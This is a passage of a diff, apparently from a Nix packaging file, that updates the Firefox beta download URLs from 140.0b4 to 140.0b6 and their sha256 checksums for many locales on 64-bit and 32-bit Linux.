-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/tr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/tr/firefox-140.0b6.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "278381e636f98ec68c9ed75c721cff588f2e291a1611386db6b4f0038cfa7403";
+      sha256 = "418fea6d08064abbb3083b18cb984dcb3262b905b046628d0326307e345400c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/trs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/trs/firefox-140.0b6.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "5d4d4db5dcd4428e7ab6d351d4a1e6fdb7f6f327d031ec045f1e0572f39569be";
+      sha256 = "05314fe33cd5385b9ef91fefd2a762152ac23e37e02d7e2b472e895d57e1168e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/uk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/uk/firefox-140.0b6.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "1f7ed2ac92af2d802e743433d6d8bb501057a019770178afc4f83d9382f082ca";
+      sha256 = "e00f4d1f6bca26f76a153338d198ae66faba06890d3f4eeb5b44ddfd30eb0671";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ur/firefox-140.0b6.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "941d716e18c08961041052a3e3ce47b8b927e3c2ff4e2d02aa377e18c3ee9899";
+      sha256 = "082a79e6e6b5581f7875bce9ce639bce31aa8b91c5d21cb06ad5e5a14f9374f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/uz/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/uz/firefox-140.0b6.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "542417ee58e5997d60c3eaba77f3e1d7be9f5bef5f4d96e3ca9252988a1dd4ff";
+      sha256 = "838688993ec796618ac9591a1a625f1e36b47e2e6e095dc23afe635b391901b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/vi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/vi/firefox-140.0b6.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "d501faabcda4703590242da47168bd90c1ba5b8ccf53573ea92d4ee150c60347";
+      sha256 = "238703e05962465bf1f5a6a92ce1087ff2e9580bf2f53f68ff1e3c6b29c0855e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/xh/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/xh/firefox-140.0b6.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "c0aade40862694b4eefc2e1b138e28802bf72e7ca99a9aa77dff668140c0f8f9";
+      sha256 = "e0d99e21a6f51a6e855d6d08fe7f2e9e843ae50e5ec5669625fdf6cda16e654d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/zh-CN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/zh-CN/firefox-140.0b6.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "d6acae4e60b6b50f05a17630e45da73dbe2ff691ec216c0368493efd44c4b978";
+      sha256 = "db71a35fe0ca3c3c6e4d876fd63799d62a99782c758374329f1fc5ccf89493a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/zh-TW/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/zh-TW/firefox-140.0b6.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "7493a417c1d4cca1bcbfcd782d8b5d0d4ba3817b18bc7598544e7ca1b9f5c06f";
+      sha256 = "a870eb913257d6cc7c20de330b21bf5b6d32fae4912c3cbc35272d6b0c26229a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ach/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ach/firefox-140.0b6.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "3be76f9194d24421ce986d088a4e54f38a9e934a272f62c6aa6e9bef9a09a666";
+      sha256 = "d2f0b4c8fe575b71fef12e929319af3bf93a27a2cbf3527d93c75a07038eddf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/af/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/af/firefox-140.0b6.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "a8eb60898c425fd996b02c304d495668b283dcf763c034c30c19841b71fe5be3";
+      sha256 = "15e3d504b0a371a21fda09566740c9d103f1b170d734c3578f31ca9bb8f66cad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/an/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/an/firefox-140.0b6.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "6722650b3809255e939976cda6f6a15b6c1b88e0a3fb2143ce14f05bc1748001";
+      sha256 = "811be339e2c8e66b7afc32d2c70adc4515a9b9569dbee6f342756b5429c2df4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ar/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ar/firefox-140.0b6.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "96246f81a7d0678bb32714ba376bbb2834f989eb7418d4edd1827d4511e344a4";
+      sha256 = "7d73d8431416034c6b6c0112e2991d1f4fb248a7f8e209b922cad2a926d2c51c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ast/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ast/firefox-140.0b6.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "ccedf416b838286c42ffa27534d9328916a5d51d7897a8f9f9f0914b317ecf9e";
+      sha256 = "44e68de0c7d4280bc08cabd991eb37cc0792b680055600471ec763e43cd5b890";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/az/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/az/firefox-140.0b6.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "0efad9674c64ee1f67f930b46266124d3c0e1b4220522700a89ce8e2abdd133b";
+      sha256 = "31c4d3a48e3672a7c8fc81ebb29337e57be65999781c9d56c91456f704f81240";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/be/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/be/firefox-140.0b6.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "fe4d45528436e5a6eb6d6cbe692974a8e07f3d7721bf2bf9f3aba2bd4c40a685";
+      sha256 = "ede450caa7f05865b3694f3821bc092e0de6616b640b4748b45673b41a33c099";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/bg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/bg/firefox-140.0b6.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "793c784ffd98c017155376f029e5270a5d2c5195e017ebaabee330031b5281ce";
+      sha256 = "a605ad91d87ea41ce7a93f564cd7fd647ba6fce99d403754414a9dd0b3f967d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/bn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/bn/firefox-140.0b6.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "52e39351fb98bbdebd22764b77c420a2778adcb6ee6fa9c82845c4cddb4a48cf";
+      sha256 = "a08d45ac7f0a780562206e552ae7ab5462a83ac14bfead0c2103ac675e5f556b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/br/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/br/firefox-140.0b6.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "fa0707853f1b21e708b627a58127efa6848935bdfb071bd9dfa34cc712c544a4";
+      sha256 = "4f51e2f63ea3e4e5c3eb7025c125cc4b828cd8880b6736c43abfca5b879e3f8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/bs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/bs/firefox-140.0b6.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "038c08de66a19e28293dc5ad8ab5ff099a653fe11e66a50f117b09201b0487cc";
+      sha256 = "7e88222a53d40e8a07d8cc273b07451947cb97d0f3d496372d970903f2ad0fd4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ca-valencia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ca-valencia/firefox-140.0b6.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "893d8ccd8276108f74802b6ade3aeaa182d35f24a7d4f59f73f7d9f0083e5374";
+      sha256 = "1f8687252bfdefe43c8906cdb4bf8d80fc8640228627ddc9160acfd39e628d4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ca/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ca/firefox-140.0b6.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "89cf5bb8d68c2e396fc3459d708ecf561d2ab58dee924f81034ecff6a9a58f89";
+      sha256 = "24d65222d3f9219ec0be30c5ec56a6f84240bbbf21fbbe9030fd719cc2898a6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/cak/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/cak/firefox-140.0b6.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "6dc7a40dc583ad71310ca5844563298d68b2f4dfe6160d77323bee582ed70054";
+      sha256 = "5059334800af7ec61d95bccba166cf2535d2bdf9741b7e3ce4ade7bd5cdd5e47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/cs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/cs/firefox-140.0b6.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "0bb58b90686bafd341991a97b4006417970684d0c82b542718e539c12ec11768";
+      sha256 = "ade2f416e75e8897310d856bfb5973361800585e6b66678623bea921a3434ee7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/cy/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/cy/firefox-140.0b6.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "d704d90a4b3063f983651d777064c9d705d9deedb1e0f69428687d8d383762ed";
+      sha256 = "4351eab5adf589d168b2c198445df2071798e5a9aeaed154942594edc9a8083a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/da/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/da/firefox-140.0b6.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "5675f10f6fda9082aacb42895dfcf0f78e6e53c649b2a620fadffd92db731b4d";
+      sha256 = "8942e7b9e12ca93113af82d6d962616d1c31756112e61d0dd3663cd0504a59d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/de/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/de/firefox-140.0b6.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "a3b2053b85e7ec3046c2f4f2e437c685fc5d4ead7dcfdce1ba40e1560251317e";
+      sha256 = "59067654101e138c156bc0cca05ecf34ec16aab9a4e5de9a6ce2e3bc26c3261b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/dsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/dsb/firefox-140.0b6.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "c3a198d51af7a9f1301b85d586ac61c0afd8b1243656e36de880d14c2bf51ce7";
+      sha256 = "526ce1d68ea90d5a3588b179ac64a303d9d23ef2b46b4fe91b7942ab60ccc2d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/el/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/el/firefox-140.0b6.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "7921f62be7826f76229007503e8e27915b7d682346baf5bcf6149dedd4a921c6";
+      sha256 = "7d48fc74739da6112497526c0937a3e5865b5df23e3487e3f946d828a2570fbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/en-CA/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/en-CA/firefox-140.0b6.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "ba39324c5662162aa1674d7cab7d4edf6fb02fd05bb99b2b0fb3f0d1fe7ecf71";
+      sha256 = "45da4da2bcb75edc054a52ee20aff8dafa5bdd0bcc90670c1fd25b43ad52dfd5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/en-GB/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/en-GB/firefox-140.0b6.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "02c2bc0cfa15192edb33b22834b678c9a8d99372cbd028d48a190113b8f93d7b";
+      sha256 = "f38ce30e7897332d617cb0b1b6524f34f76e49d4e7a17d8497d4c8e5bf48fb87";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/en-US/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/en-US/firefox-140.0b6.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "45a4c9e6e1f2119bbccf4e2bb5a285ee5fb2c9003adbf15931f4c6f781d67c2c";
+      sha256 = "744bb60dfe646854831b6b2370190ad5dfc304dd6554deff999516c56e6d81da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/eo/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/eo/firefox-140.0b6.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "5caa0619cf07394e3ac1c68a8348ff7f47aaee9587fcd0a50c4346215617b5cc";
+      sha256 = "afced063370710bf3d41bad286f7bcab50913a84ba1b91d50afc8426ce51a2bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-AR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-AR/firefox-140.0b6.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "d224e1606ccb29e5f73626cdfca835d01ede2f4b746de8b139308665bae59f71";
+      sha256 = "eb29815d5e8eb1eb042fa81dba0d36537b2454511da08848842d544bf8cfb18b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-CL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-CL/firefox-140.0b6.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "343b33976f5db469de0eb6b025be4d5373191c9b7173d16d89a1dbb2cee118e2";
+      sha256 = "61d15090c8d7d2b0e2a11cab506da51cb2c373b120e678570cd9b676d8f66966";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-ES/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-ES/firefox-140.0b6.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "0462fcae5b37d56c6b5a0a537aae8dd5f8909eb9014824450179c9440fcf9451";
+      sha256 = "a1faac6928171076c66f71be8f29c17547bb92989b163bc4ad074577394a0173";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-MX/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-MX/firefox-140.0b6.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "51cc0b92eb8c5948cd8f1ad2c2b0cbc6484f1de3da813761d48717f1a8b198c1";
+      sha256 = "f513b34704478c1887552ce2d25d1967d103320fbbaf7a603c956fb2453befc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/et/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/et/firefox-140.0b6.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "02def4898b2b63c80c5acf9e4265b84875645f309d6954518fae3767f419ea18";
+      sha256 = "f907f4648ea7af3ae32a5961c166610a3c7758d94e0f952ca52cb33b78a5cfb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/eu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/eu/firefox-140.0b6.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "39fa560b9fadfbf7f29d1e0352f60109ea9edd25f341542a0965bf9d6912baff";
+      sha256 = "290d946ce84974b3c632f9c3e061d90a9a99edccde8ded6a42986385e0eeff89";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fa/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fa/firefox-140.0b6.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "e9685986383fc1a660d1548d0e86e1f6d6b24997dab0bb6cbcffdae57aec743d";
+      sha256 = "370aa3e5cd53d25654f317239ad54399d9e0dd66e3ea087216c6e6d0d2733af6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ff/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ff/firefox-140.0b6.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "43805aadb07a9df678c40e29b4581a1a21adae6540a979a180acbd005ad66505";
+      sha256 = "541b9ddef7f2ab5890e1f5a2f406b1fb9a2ecd9deab6ac133b99c95fb2cae12a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fi/firefox-140.0b6.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "42ff002d3533302a4005e45d21c1fb4d2bb33dd34da84f376e0215afeae40ee9";
+      sha256 = "b98d0801eef3570adbd582c7c0c986ff04458e9d1dd2ebc51c5bb1fbde2dcb73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fr/firefox-140.0b6.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "daf13073c63bbb8f1c83e64f7ae8238105f0b24490492bb171381b8359835ba4";
+      sha256 = "1fca999a4f229c6cb0873ca8aa8394037cb6c714830fbbcd37ee28ffe9c718f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fur/firefox-140.0b6.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "b77e8cd7d890e59391cb0901c428b3af4285d46a8b7b97395256b7211688d445";
+      sha256 = "83ae16e567c02107d7ba91939e5646ef6cba12599f7e38ca78a55b535482bf16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fy-NL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fy-NL/firefox-140.0b6.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "b29253db8b87cab953abf1381155f8cfa055103720c4252ff4383b0d0bc9b24a";
+      sha256 = "d2c2f3e5b5af91decea6b7ebf5dab2f3d1af8bcbf646b7fa3c43f520a22566f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ga-IE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ga-IE/firefox-140.0b6.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "3a73a2bd7d32be4e6ec2bb41bb3b910ed41ecaa678f26cb6283c7c4bf9c1115a";
+      sha256 = "297539876431286bf553f117fab3a7b685531d72598f304d3458ff4a517587b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gd/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gd/firefox-140.0b6.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "c7d7266fc4f89031ed171dbca0ec522631d4052f21fee6189edf5b25b3253b23";
+      sha256 = "475bcb51afdaa55ac37bc726ba3fee59fc10b94b9b599a93ac6abd4733d09cb3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gl/firefox-140.0b6.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "0705bf96b77ec990537b154dfe739bae3f86db9526ff66eaa9c65e4a21b1e927";
+      sha256 = "207410a4654026bb5c7ce013292f56cd01c29b2258fdb0a9814e0d5d77b149b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gn/firefox-140.0b6.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "052a95f7cbe122fa15f11b6b6aff20a681dc9f8f17ccf58b3627a6f4eab36122";
+      sha256 = "99eb7d29efbbf6e554900813317319e0fa3ad63f7eee9ca25de095cbcc493fd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gu-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gu-IN/firefox-140.0b6.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "a37cb18d401f9dea9e1f3d6200297133653982d2e29f68babde5178b13092820";
+      sha256 = "bd709c5ec938d75c7d671c5daa148504d6c9ca92aeb99d3d18c8c3925f6a18cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/he/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/he/firefox-140.0b6.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "de6d96dd60e87f374535095d01d00cebf5d76002c151318a524711482f05d4e3";
+      sha256 = "5ff6c30851da3fbc1264a756a5033a727bd034389a907f977c01f19e98a1adde";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hi-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hi-IN/firefox-140.0b6.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "1dbdb7f28f064e171bb25121f84b3d677e2a0e9825547577dea168e45101408b";
+      sha256 = "027a328ca0740683923a1c3ff25a819948145c242ceab503e5104818b272afa6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hr/firefox-140.0b6.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "f8851d7d962ef0cc5b45129b30eec0cb4906ae790b2e4a04171b6aafb1a423ec";
+      sha256 = "e80303a7d26effef99db9a6c4f1503f4741398448b3bbec31ed9b01d06b7fd40";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hsb/firefox-140.0b6.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "a8075b7c3682a5c21f0723466e2bc1ff1a87f1648af55b979284564a86591827";
+      sha256 = "f977ea04c392b706c821eb7768128868d542dfacd6c3473196e938f47bfcfad6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hu/firefox-140.0b6.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "8562d9f2effeb5c63c99de48586412b1952054f1d35341a960d3c1b68da98a1c";
+      sha256 = "46c7ca5364ad35e8e228d6b3d85dfbc1021250b9c476f49cd6a893fc6a901b04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hy-AM/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hy-AM/firefox-140.0b6.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "13e5bae04b5f2a30fe58e46263618f093efd3e457d1cddc6096148dfe602a2a6";
+      sha256 = "c1e295ec58562a570995049960f82ea50f1af7019fea5347a1a5dee96e07fc3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ia/firefox-140.0b6.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "91d6a400ac1c0ee6845677c526ff1c179b369f107ff36535765293b44f1ac43d";
+      sha256 = "04d95ce50b8043066bb7504299f474f8aa7dac6492ff02358a88c8d3d8fb3e99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/id/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/id/firefox-140.0b6.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "eb086df64f9f18ed83e29b57a897d3652fce933b92e9db72472ef2c7cb36497a";
+      sha256 = "2d2427f8cc377920f4fc30335aa4592eda7b5d2886080153b3da3b4f4d2a73f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/is/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/is/firefox-140.0b6.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "3cbfe061954939a9f3d90f790612b921eb644bf792b2ca0cbaaa77b1054b8ca4";
+      sha256 = "f9b3a865e6bb380aacb2f4b334b93add7034547be50052027b02fcd834b75ecd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/it/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/it/firefox-140.0b6.tar.xz";
       locale = "it";
       arch = "linux-i686";
